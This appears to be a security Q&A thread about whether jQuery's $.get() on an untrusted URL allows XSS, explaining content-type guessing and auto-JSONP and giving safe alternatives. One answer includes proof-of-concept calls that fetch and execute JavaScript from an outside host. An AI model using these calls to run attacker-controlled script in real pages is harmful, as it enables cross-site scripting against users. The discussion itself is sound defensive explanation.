Is jQuery's $.get() safe to call on an untrusted URL?

 Does this code pattern create a XSS vulnerability, if an attacker chooses url maliciously?

Edit: yes, but not for the reason in your question.

The weird auto-JSONP feature is internally applied to AJAX requests using ajaxPrefilter("json jsonp"). So it applies to the json prefilter list but not other types or the default *. However, prefilters apply before the response occurs, so this can't happen just because the server replies with a JSON-like type.

(Currently—as of 1.11.2—the docs for getJSON don't describe the circumstances under which this potentially-dangerous behaviour fires exactly. And the docs for get and ajax don't mention auto-JSONP at all. So maybe it should be considered a bug. Certainly given how poorly-specified this is, I would not rely on it staying the same in future versions of jQuery.)

The actual reason it's vulnerable (as demonstrated by framp and toothbrush) is that without a dataType parameter jQuery will guess one from the response. If the attacker's URL hits a resource served as a JS-like Content-Type, jQuery will guess it is JavaScript and eval it. Note: for the AJAX request to get far enough for this to work, for a resource on a third-party server, it would have to include CORS headers.

$.get(url, function (...) { ... }, 'json');

This version is not vulnerable to the response type guessing. However, it is vulnerable to the auto-JSONP filter.

To be safe, you have to both set the dataType option and, if that option is json, also the jsonp: false option. Unfortunately, you can't set the jsonp option in the get() method. You should be able to do it by passing in an options dictionary instead of parameters, but you can't because this API is currently completely non-functional due to jQuery being a sad mess of broken Do-What-I-Mean APIs whose behaviour it is (increasingly) difficult to predict.

So the only safe way to fetch JSON from an untrusted URL is via basic ajax:

$.ajax(url, {dataType: 'json', jsonp: false});

jQuery.get does pose an XSS security risk.

If you look at the source for jQuery (or the documentation for jQuery.get), you will see that jQuery.get and jQuery.post are just wrappers for jQuery.ajax({ url: url, data: data, success: success, dataType: dataType });.

There are two problems here:

  1. If dataType is jsonp, or the URL ends in =? and dataType is json, jQuery will try to make a JSONP request and then eval the script.
  2. If the response is a script, jQuery will execute that script unless dataType is json and the jsonp option is set to false.

So if you set dataType to json, and jsonp to false, it is safe to call jQuery.get for an unknown URL.

Vulnerable script

$.get(url, function(...) { ... });

See the example on JSFiddle.

Safe script

$.ajax(url, { jsonp: false, dataType: 'json' }).done(function(...) { ... });

See the example on JSFiddle.


It depends.

TL;DR Yes, it's unsafe in certain cases.

If:

  • You're not using Content Security Policy to filter outwards request (caniuse)
  • The client browser support CORS (caniuse)
  • The attacker can choose the URL

Then the attacker can execute JS on your page.

A malicious server with a matching protocol, the right CORS headers (Access-Control-Allow-Origin: *) will be able to execute JS on your page thanks to jQuery automatic detection from the Content-Type header (which for JS will be script).

Example you can try on this page on stackoverflow (assuming you're on http):

$.get('http://zensuite.net/js/alert.js', console.log.bind(console));

If you want to see what happens if the CORS headers are not set:

$.get('https://zensuite.net/js/alert.js', console.log.bind(console));

Talking about your hypothesis instead, you won't likely manage to make jQuery transform a normal XHR request into a remote inclusion of a script.

After looking briefly at the code I think this won't likely happen (unless there is a bug somewhere), because you can switch to "remote script mode" only before asking for a transport and if your dataType is

  • json when the URL match the rjsonp regex /(=)\?(?=&|$)|\?\?/;
  • jsonp
  • script

These are also vulnerable:

$.get('https://zensuite.net/js/alert.js?callback=?', console.log.bind(console), 'json');
$.get('https://zensuite.net/js/alert.js', console.log.bind(console), 'jsonp');
$.get('https://zensuite.net/js/alert.js', console.log.bind(console), 'script');

This is of course not relevant for the question, given the fact you can just use $.get to execute remote code.